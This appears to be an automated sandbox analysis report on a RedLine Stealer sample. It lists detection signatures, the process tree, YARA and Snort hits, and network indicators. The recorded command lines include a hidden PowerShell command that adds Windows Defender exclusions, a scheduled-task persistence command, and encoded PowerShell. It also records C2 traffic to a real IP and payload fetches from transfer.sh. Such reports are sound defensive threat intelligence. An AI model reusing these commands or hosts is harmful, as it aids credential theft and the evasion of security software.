Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	851280
MD5:	2f9e75406ad073eed271b767a05d2620
SHA1:	8dc0639005f31039e2cb7ea193f351a95767e5e2
SHA256:	7b804c178099c2e30b2cdd7016336fc98fde3ece959c97df92d8328dbc4a848a
Tags:	exe
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Detected unpacking (overwrites its own PE header)

Detected unpacking (changes PE section rights)

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Sigma detected: Schedule binary from dotnet directory

Multi AV Scanner detection for dropped file

Connects to many ports of the same IP (likely port scanning)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Yara detected Costura Assembly Loader

Encrypted powershell cmdline option found

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Adds a directory exclusion to Windows Defender

Connects to a pastebin service (likely for C&C)

Found many strings related to Crypto-Wallets (likely being stolen)

Uses schtasks.exe or at.exe to add and modify task schedules

Tries to harvest and steal browser information (history, passwords, etc)

Creates an autostart registry key pointing to binary in C:\Windows

Writes to foreign memory regions

Tries to steal Crypto Currency Wallets

Suspicious powershell command line found

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Found evasive API chain (date check)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

HTTP GET or POST without a user agent

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to communicate with device drivers

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

File is packed with WinRar

Detected TCP or UDP traffic on non-standard ports

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Classification

Process Tree

System is w10x64

file.exe (PID: 5028 cmdline: C:\Users\user\Desktop\file.exe MD5: 2F9E75406AD073EED271B767A05D2620)

11.exe (PID: 1944 cmdline: "C:\Windows\Temp\11.exe" MD5: 61E723F8A677A1CA9B4C0B26338E880D)

RegSvcs.exe (PID: 6148 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)

WerFault.exe (PID: 6228 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1944 -s 268 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

123.exe (PID: 1832 cmdline: "C:\Windows\Temp\123.exe" MD5: C8141AF739779C405DB7BE2C16768393)

powershell.exe (PID: 6800 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 6816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

MSBuild.exe (PID: 5892 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: D621FD77BD585874F9686D3A76462EF1)

MSBuild.exe (PID: 5952 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: D621FD77BD585874F9686D3A76462EF1)

powershell.exe (PID: 3076 cmdline: powershell "Start-Process <#xecasfbbsplyjqqhot#> powershell <#xecasfbbsplyjqqhot#> -Verb <#xecasfbbsplyjqqhot#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force' MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 5436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 416 cmdline: schtasks /create /sc daily /st 12:00 /f /tn "MSBuild" /tr "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

321.exe (PID: 3180 cmdline: "C:\Windows\Temp\321.exe" MD5: EA2ACA8648D67B60A9B3F4520F3E50C9)

powershell.exe (PID: 6852 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 6928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

MSBuild.exe (PID: 6040 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: D621FD77BD585874F9686D3A76462EF1)

chrome.exe (PID: 6076 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=39002 --headless --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W" --profile-directory="Default MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 6992 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --use-angle=swiftshader-webgl --use-gl=angle --headless --mojo-platform-channel-handle=1584 --field-trial-handle=1348,i,16064085096142150316,3896965374088151555,131072 --disable-features=PaintHolding /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

1234.exe (PID: 3240 cmdline: "C:\Windows\Temp\1234.exe" MD5: 5B5A0A14B5EDA05D8D38DB522DDB1E8E)

powershell.exe (PID: 7072 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 7084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

MSBuild.exe (PID: 6524 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: D621FD77BD585874F9686D3A76462EF1)

MSBuild.exe (PID: 2364 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: D621FD77BD585874F9686D3A76462EF1)

MSBuild.exe (PID: 1332 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: D621FD77BD585874F9686D3A76462EF1)

MSBuild.exe (PID: 5464 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: D621FD77BD585874F9686D3A76462EF1)

conhost.exe (PID: 5480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

MSBuild.exe (PID: 5300 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: D621FD77BD585874F9686D3A76462EF1)

conhost.exe (PID: 628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

MSBuild.exe (PID: 5304 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: D621FD77BD585874F9686D3A76462EF1)

conhost.exe (PID: 5244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/ https://bartblaze.blogspot.com/2021/06/digital-artists-targeted-in-redline.html https://blog.avast.com/adobe-acrobat-sign-malware	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.260239525.0000000000A09000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1318:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000001.00000003.249782385.00000000025C2000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e7c8:$s5: delete[] 0x2e478:$pat14: , CommandLine: 0x45bb8:$v2_1: ListOfProcesses 0x4598c:$v4_3: base64str 0x46705:$v4_4: stringKey 0x4408c:$v4_5: BytesToStringConverted 0x43015:$v4_6: FromBase64 0x44625:$v4_8: procName
00000005.00000002.426722935.0000000000402000.00000020.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000019.00000003.371783017.0000000004449000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000005.00000002.447067002.0000000002B74000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000005.00000002.447067002.0000000002B74000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.447067002.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 6148	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.11.exe.400000.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.11.exe.400000.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e7c8:$s5: delete[] 0x2e478:$pat14: , CommandLine: 0x45bb8:$v2_1: ListOfProcesses 0x4598c:$v4_3: base64str 0x46705:$v4_4: stringKey 0x4408c:$v4_5: BytesToStringConverted 0x43015:$v4_6: FromBase64 0x44625:$v4_8: procName
1.2.11.exe.42ca70.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.11.exe.42ca70.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1a08:$pat14: , CommandLine: 0x19148:$v2_1: ListOfProcesses 0x18f1c:$v4_3: base64str 0x19c95:$v4_4: stringKey 0x1761c:$v4_5: BytesToStringConverted 0x165a5:$v4_6: FromBase64 0x17bb5:$v4_8: procName
1.3.11.exe.25c0000.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.3.11.exe.25c0000.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1a08:$pat14: , CommandLine: 0x19148:$v2_1: ListOfProcesses 0x18f1c:$v4_3: base64str 0x19c95:$v4_4: stringKey 0x1761c:$v4_5: BytesToStringConverted 0x165a5:$v4_6: FromBase64 0x17bb5:$v4_8: procName
1.2.11.exe.42ca70.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x17348:$v2_1: ListOfProcesses 0x1711c:$v4_3: base64str 0x17e95:$v4_4: stringKey 0x1581c:$v4_5: BytesToStringConverted 0x147a5:$v4_6: FromBase64 0x15db5:$v4_8: procName
5.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
5.2.RegSvcs.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1a08:$pat14: , CommandLine: 0x19148:$v2_1: ListOfProcesses 0x18f1c:$v4_3: base64str 0x19c95:$v4_4: stringKey 0x1761c:$v4_5: BytesToStringConverted 0x165a5:$v4_6: FromBase64 0x17bb5:$v4_8: procName
1.2.11.exe.400000.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.11.exe.400000.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d5c8:$s5: delete[] 0x2c478:$pat14: , CommandLine: 0x43bb8:$v2_1: ListOfProcesses 0x4398c:$v4_3: base64str 0x44705:$v4_4: stringKey 0x4208c:$v4_5: BytesToStringConverted 0x41015:$v4_6: FromBase64 0x42625:$v4_8: procName
2.2.123.exe.3fb3d60.2.raw.unpack	Typical_Malware_String_Transforms	Detects typical strings in a reversed or otherwise modified form	Florian Roth (Nextron Systems)	0x3e5e08:$i2: sserddAcorPteG 0x59ce28:$i2: sserddAcorPteG 0x3e5b5b:$i3: AyrarbiLdaoL 0x59cb7b:$i3: AyrarbiLdaoL
3.2.321.exe.3f48dc0.4.raw.unpack	Typical_Malware_String_Transforms	Detects typical strings in a reversed or otherwise modified form	Florian Roth (Nextron Systems)	0x5f8c89:$i2: sserddAcorPteG 0x7a24a9:$i2: sserddAcorPteG 0x5f89dc:$i3: AyrarbiLdaoL 0x7a21fc:$i3: AyrarbiLdaoL
4.2.1234.exe.463fb90.2.raw.unpack	Typical_Malware_String_Transforms	Detects typical strings in a reversed or otherwise modified form	Florian Roth (Nextron Systems)	0x3dd3ca:$i2: sserddAcorPteG 0x591dea:$i2: sserddAcorPteG 0x3dd11d:$i3: AyrarbiLdaoL 0x591b3d:$i3: AyrarbiLdaoL
Click to see the 9 entries

Sigma Signatures

Malware Analysis System Evasion

Sigma detected: Schedule binary from dotnet directory

Source: Process started

Author: Joe Security: Data: Command: schtasks /create /sc daily /st 12:00 /f /tn "MSBuild" /tr "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe", CommandLine: schtasks /create /sc daily /st 12:00 /f /tn "MSBuild" /tr "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe", CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, ParentProcessId: 5952, ParentProcessName: MSBuild.exe, ProcessCommandLine: schtasks /create /sc daily /st 12:00 /f /tn "MSBuild" /tr "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe", ProcessId: 416, ProcessName: schtasks.exe

Snort Signatures

ET MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 103.173.229.190 - Destination IP: 192.168.2.3

Timestamp:	103.173.229.190192.168.2.318740496882043234 04/21/23-01:03:39.095124
SID:	2043234
Source Port:	18740
Destination Port:	49688
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN RedLine Stealer TCP CnC net.tcp Init - Source IP: 192.168.2.3 - Destination IP: 103.173.229.190

Timestamp:	192.168.2.3103.173.229.19049688187402043233 04/21/23-01:03:36.867297
SID:	2043233
Source Port:	49688
Destination Port:	18740
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.3 - Destination IP: 103.173.229.190

Timestamp:	192.168.2.3103.173.229.19049688187402043231 04/21/23-01:04:21.680175
SID:	2043231
Source Port:	49688
Destination Port:	18740
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 32%
Source: file.exe	Virustotal: Detection: 52%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Windows\Temp\11.exe	ReversingLabs: Detection: 35%
Source: C:\Windows\Temp\11.exe	Virustotal: Detection: 38%	Perma Link
Source: C:\Windows\Temp\123.exe	ReversingLabs: Detection: 19%
Source: C:\Windows\Temp\123.exe	Virustotal: Detection: 34%	Perma Link

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Windows\Temp\123.exe	Joe Sandbox ML: detected
Source: C:\Windows\Temp\1234.exe	Joe Sandbox ML: detected
Source: C:\Windows\Temp\321.exe	Joe Sandbox ML: detected
Source: C:\Windows\Temp\11.exe	Joe Sandbox ML: detected

Source: 1.2.11.exe.2700e67.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 3.2.321.exe.3f48dc0.4.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 3.2.321.exe.3e30d60.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 1.3.11.exe.2840000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 3.2.321.exe.3e58d80.8.unpack	Avira: Label: TR/Patched.Ren.Gen

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Windows\Temp\11.exe

Unpacked PE file: 1.2.11.exe.400000.1.unpack

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\Temp\11.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49682 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49683 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.68.143:443 -> 192.168.2.3:49699 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: file.exe, 00000000.00000003.242863242.00000000029F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000000.242026266.00000000013D0000.00000002.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.242635859.0000000004147000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net40/Newtonsoft.Json.pdb source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net40/Newtonsoft.Json.pdbSHA256 source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013AA2C3 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_013AA2C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BA536 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_013BA536
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C7D69 FindFirstFileExA,	0_2_013C7D69
Source: C:\Windows\Temp\11.exe	Code function: 1_2_004157F4 FindFirstFileExW,	1_2_004157F4
Source: C:\Windows\Temp\11.exe	Code function: 1_2_02715C5B FindFirstFileExW,	1_2_02715C5B

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2043233 ET TROJAN RedLine Stealer TCP CnC net.tcp Init 192.168.2.3:49688 -> 103.173.229.190:18740
Source: Traffic	Snort IDS: 2043231 ET TROJAN Redline Stealer TCP CnC Activity 192.168.2.3:49688 -> 103.173.229.190:18740
Source: Traffic	Snort IDS: 2043234 ET MALWARE Redline Stealer TCP CnC - Id1Response 103.173.229.190:18740 -> 192.168.2.3:49688

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 103.173.229.190 ports 18740,0,1,4,7,8

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Source: global traffic	HTTP traffic detected: GET /get/I12lIq/Cmvqi.bmp HTTP/1.1Host: transfer.shConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /get/cAvBHQ/Ecjzqvnws.dat HTTP/1.1Host: transfer.shConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /get/fmUJTQ/Xlelcdl.dat HTTP/1.1Host: transfer.shConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.2.3:49688 -> 103.173.229.190:18740

Source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertCSRSA4096RootG5.crt0E
Source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/NETFoundationProjectsCodeSigningCA2.crt0
Source: 123.exe, 00000002.00000002.353750736.0000000000E55000.00000004.00000020.00020000.00000000.sdmp, 321.exe, 00000003.00000002.369369176.0000000000E86000.00000004.00000020.00020000.00000000.sdmp, 1234.exe, 00000004.00000002.373115554.00000000012E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: 321.exe, 00000003.00000002.374973505.0000000002CE0000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.386698684.0000000003F48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertCSRSA4096RootG5.crl0
Source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0F
Source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0=
Source: 321.exe, 00000003.00000002.374973505.0000000002CE0000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.386698684.0000000003F48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: RegSvcs.exe, 00000005.00000003.426098565.00000000012CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.ado/Idente
Source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: 321.exe, 00000003.00000002.374973505.0000000002CE0000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.386698684.0000000003F48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
